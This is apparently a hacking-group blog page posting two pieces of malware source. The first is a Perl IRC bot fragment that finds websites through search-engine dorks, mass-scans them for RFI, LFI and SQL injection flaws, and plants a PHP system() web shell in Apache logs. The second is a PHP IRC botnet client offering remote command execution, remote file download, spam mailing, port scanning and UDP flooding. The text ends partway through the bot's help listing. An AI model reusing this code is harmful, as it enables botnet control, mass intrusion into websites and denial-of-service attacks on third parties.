&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&aspscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##################################################################### Apache Log Injection
if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
&injectlog($1,$2);
}
exit;
}
}

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}

##################################################################### Procedure

sub injectlog() {
my $host = $_[0];
my $port = $_[1];
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 12 Injecting 7 ".$host.":".$port." 12Apache Access Log ... ");
my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
die sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 4 Cant Connect to 7 ".$host.":".$port." ");
print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12is Done ... ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Parameter -> 3 c0li ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 7@ 2ALI 15) 7 ".$host." 12RCE Identifier -> 3 JATIMCOM ");
}
#################################################

sub rfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean=&calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14RFI 10)( 3@ 14$engz 10) 10 Total: 14 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Exploiting 14 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$injector."?";
my $vuln = "http://".$target." 12".$bugz." 7".$phpshell."? ";
my $re = getcontent($xpl);
if($re =~ /$rfi_result/ && $re =~ /uid=/){
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-OFF 10) ");
}
elsif($re =~ /$rfi_result/)
{
os($xpl);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 10( 3@ 14".$os." 10)( 3@ 4SAFEMODE-ON 10) ");
}
}
}
#################################################

sub lfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Total: 4 (".scalar(@total).") 12 Clean: 4 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 14 Exploiting 4 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$lfi_test;
my $vuln = "http://".$target." 12".$bugz." 7".$lfi_test." ";
my $re = getcontent($xpl);
if ($re =~ /$lfi_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14LFI 10)( 3@ 14$engz 10) 10( 3@ 14Vulnerable 10) 4 ".$vuln." 15( 7@ 3JATIMCOM 15) ");
}
}
}
#################################################

sub sqlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
if ($engz =~ /GoodSearch/) {
my @goodsearch=&goodsearch($dork);
push(@total, @goodsearch);
}
if ($engz =~ /YahOo/) {
my @yahoo=&yahoo($dork);
push(@total, @yahoo);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Exploiting 14 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14SQL 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 10".$bugz." 14[SQL] ";
my $re = getcontent($xpl);
if ($re =~ /$sql_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14SQL 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################

sub aspscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[2];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /Bing/) {
my @Bing=&Bing($dork);
push(@total, @Bing);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Total: 10 (".scalar(@total).") 10 Clean: 14 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Exploiting 10 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3-> 14ASP 10)( 14@ 3$engz 10) 14 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 19".$bugz." 14[ASP] ";
my $re = getcontent($xpl);
if ($re =~ /$asp_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14ASP 10)( 3@ 14$engz 10) 10( 14@ 10ErrorQuery 10) 14 ".$vuln." 10( 3@ 14Jatimcon 10) ");
}
}
}
#################################################

sub os() {
my $site = $_[0];
my $re = &query($site);
while ($re =~ m/<br>os:(.+?)<br>/g) {
$os = $1;
if ($1 =~ //) { $os = "Unkn0wN"; }
}
}
#################################################

sub response() {
my $re = getcontent($injector);
if ($re =~ /pZLNd8MwEITvg/) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 « 3MANTAP JAYA 10 » ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14RFI 10) 10 « 3BOSOK 10 » ");
}
}
#################################################

sub getcontent() {
$url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}
#################################################

sub google(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=100){
my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################

sub alltheweb() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=100) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
my $Res = query($all);
while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}
#################################################

sub uol() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
my $Res = query($UoL);
while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub Bing() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10) {
my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
my $Res = query($bing);
while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live|bing/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub altavista(){
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=1000; $b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while ($Res=~m/<span class=ngrn>(.+?)\//g){
if ($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}
#################################################

sub ask() {
my @lst;
my $key = $_[0];
my $b = 0;
my $pg = 0;
for ($b=0; $b<=1000; $b+=10) {
my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
my $Res = query($Ask);
while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
if ($1 !~ /ask.com/){
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}
#################################################

sub lycos() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=0; $b<=1000; $b+=10) {
my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
my $Res = query($lyc);
while ($Res =~ m/href=\"http:\/\/(.+?)\" >/g) {
if ($1 !~ /lycos/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub goodsearch() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
my $Res = query($goods);
while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
if ($2 !~ /goodsearch/){
my $k = $2;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub yahoo() {
my @lst;
my $key = $_[0];
my $b = 0;
for ($b=1; $b<=500; $b+=1) {
my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
my $Res = query($yahoo);
while ($Res =~ m/26u=(.*?)%26w=/g) {
if ($1 !~ /yahoo/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}
#################################################

sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}
#################################################

sub key() {
my $dork = $_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\"/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}
#################################################

sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
#################################################

sub calculate {
my @calculate = ();
my %visti = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visti{$element}++;
push @calculate, $element;
}
return @calculate;
}
#################################################

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
#################################################

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
##################################################
##################################################
## ##
## JATIM COMMUNITY ##
## ##
##################################################
##################################################

read more...

Ddos Recod By Jatimcom

<?
######################################################
## DDOS BOT PHP Recod By Jatimcom ##
## Dont Forget to Visit http://jatimcom.uni.cc/ ##
## © April 2009 Jatim Community ##
######################################################

set_time_limit(0);
error_reporting(0);
echo "ok!";
######################################################
class pBot
{
var $config = array("server"=>"irc.jatimcom.us",
"port"=>"7000",
"pass"=>"",
"prefix"=>"Ddos",
"maxrand"=>"5",
"chan"=>"#jcomers",
"chan2"=>"#jcomers",
"key"=>"senhadocanal",
"modes"=>"+p",
"password"=>"djhancok",
"trigger"=>".",
"hostauth"=>"*"
);
var $users = array();
function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = $this->config['prefix'];
$alph = range("0","9");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,9)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
######################################################
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "ON"; }
else { $safemode = "OFF"; }
$uname = php_uname();
 $this->notice($this->config['chan2'],"[\2command\2]: ketik .help untuk command bot : comand hanya berjalan untuk admin bot");
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
#########################################################################
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
#########################################################################
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "login":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: siap komandan $nick !!");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2Auth\2]: FUCK YOU $nick ");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "reonline":
$this->send("QUIT : Reonline By $nick");
fclose($this->conn);
$this->start();
break;
#########################################################################
case "sendmail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Unable to Send E-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mail Send to \2".$mcmd[1]."\2");
}
}
break;
#########################################################################
case "safe":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = "on";
}
else {
$safemode = "off";
}
$this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
break;
#########################################################################
case "inbox": //teste inbox
if(isset($mcmd[1]))
{
$token = md5(uniqid(rand(), true));
$header = "From: <inbox".$token."@jatimcom.us>";
$a = php_uname();
$b = getenv("SERVER_SOFTWARE");
$c = gethostbyname($_SERVER["HTTP_HOST"]);
if(!mail($mcmd[1],"InBox Test","#jatimcom since 2009\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: Vuln\nby: dvl <admin@jatimcom.us>",$header))
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
#########################################################################
case "conback":
if(count($mcmd)>2)
{
$this->conback($mcmd[1],$mcmd[2]);
}
break;
#########################################################################
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
#########################################################################
case "info":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->notice($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
break;
#########################################################################
case "myinfo":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"Dont Forget To Cek http://jatimcom.uni.cc/");
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
break;
#########################################################################
case "bot":
$this->privmsg($this->config['chan'],"[\2bot\2]: PHPBOT 1.0 By Jcomers.");
break;
#########################################################################
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
break;
#########################################################################
case "rndnick":
$this->set_nick();
break;
#########################################################################
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
#########################################################################
case "eval":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
#########################################################################
case "sexec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "exec":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = exec($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "passthru":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = passthru($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "popen":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2popen\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
#########################################################################
case "system":
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = system($command);
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
#########################################################################
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
#########################################################################
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2download\2]:Could not download. Permission denied");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2download\2]: Could not download \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2download\2]: File \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
else { $this->privmsg($this->config['chan'],"[\2download\2]: use download http://your.host/file /tmp/file"); }
break;
#########################################################################
case "help":
$this->privmsg($this->config['chan'],"[\2help\2]: 15[ 7BOT COMMANDS 15] 08");
$this->privmsg($this->config['chan'],"[\2help\2]: .login");
$this->privmsg($this->config['chan'],"[\2help\2]: .uname untuk info Operating system");
$this->privmsg($this->config['chan'],"[\2help\2]: .exec <cmd> untuk perintah yang berjalan pada sistem OS bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .sexec <cmd> untuk perintah yang berjalan pada sistem OS bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .cmd <cmd> untuk perintah yang berjalan pada sistem OS bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .raw <cmd> untuk menjalankan perintah2 di irc");
$this->privmsg($this->config['chan'],"[\2help\2]: .sendmail <to> <from> <subject> <msg> untuk kirim email");
$this->privmsg($this->config['chan'],"[\2help\2]: .restart untuk restart bot");
$this->privmsg($this->config['chan'],"[\2help\2]: .dead untuk kill me");
$this->privmsg($this->config['chan'],"[\2help\2]: .udpflood <target> <packets> <packetsize> <delay> untuk flood udp suatu jaringan");
